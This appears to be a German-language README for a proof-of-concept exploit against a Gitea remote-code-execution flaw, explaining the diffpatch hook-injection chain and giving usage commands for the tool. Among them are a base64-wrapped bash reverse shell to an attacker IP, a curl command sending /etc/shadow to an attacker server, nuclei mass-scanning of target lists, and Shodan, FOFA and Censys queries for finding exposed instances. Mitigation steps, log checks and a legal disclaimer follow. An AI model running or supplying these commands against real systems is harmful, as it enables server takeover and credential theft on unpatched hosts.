
CVE-2026-60004 Pre-Auth-RCE-Exploit — Gitea <= 1.27.0 diffpatch Git-Hook-Injektion (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| Attribut | Detail |
|---|---|
| CVE-ID | CVE-2026-60004 |
| CVSS-Score | 9.8 (Kritisch) |
| CWE | CWE-94 (Code-Injektion) |
| Betroffen | Gitea 1.17 bis 1.27.0 |
| Behoben in | Gitea 1.27.1 (veröffentlicht am 27. Juli 2026) |
| Verwundbarer Endpunkt | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| Entdeckt von | Shai Rod (NightRang3r) |
| EPSS-Score | 0.95 (95 % Ausnutzungswahrscheinlichkeit) |
Die Schwachstelle nutzt aus, wie der diffpatch-API-Endpunkt von Gitea vom Benutzer bereitgestellte Git-Patches verarbeitet:
Bare-Clone-Falle — Der Endpunkt erstellt einen temporären bare Klon (ohne Arbeitsbaum), das heißt, sein Wurzelverzeichnis ist $GIT_DIR.
Patch-Verarbeitung — git apply wird mit den Flags --index, --recount, --cached, --binary und (ab Git ≥ 2.32) -3 für den Drei-Wege-Merge-Fallback aufgerufen.
Add/Add-Kollision — Indem der Angreifer denselben bösartigen Patch zweimal sendet, löst er einen Add/Add-Konflikt aus. Der Drei-Wege-Fallback von Git schreibt den Dateipfad aus dem Patch auf die Festplatte und umgeht dabei die --cached-Einschränkung.
Hook-Injektion — Der Angreifer erstellt den Patch so, dass der Dateipfad hooks/post-index-change lautet. Da es sich um einen Bare-Klon handelt, landet die Datei direkt im hooks-Verzeichnis von Git.
Code-Ausführung — Wenn Git den Index aktualisiert, führt es automatisch den post-index-change-Hook aus, der die Shell-Befehle des Angreifers als ausführt.
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
Aktualisieren Sie Gitea auf Version 1.27.1 oder neuer:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
Deaktivieren Sie die offene Registrierung (verringert die Angriffsfläche):
# app.ini
[service]
DISABLE_REGISTRATION = true
Führen Sie Gitea mit einem Dienstkonto mit minimalen Rechten aus
Überwachen Sie auf wiederholte POST-Anfragen an den diffpatch-Endpunkt
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
Dieses Tool dient ausschließlich Ausbildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen Folgendes verstoßen:
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
MIT-Lizenz — Einzelheiten finden Sie im EQSTLab-Repository.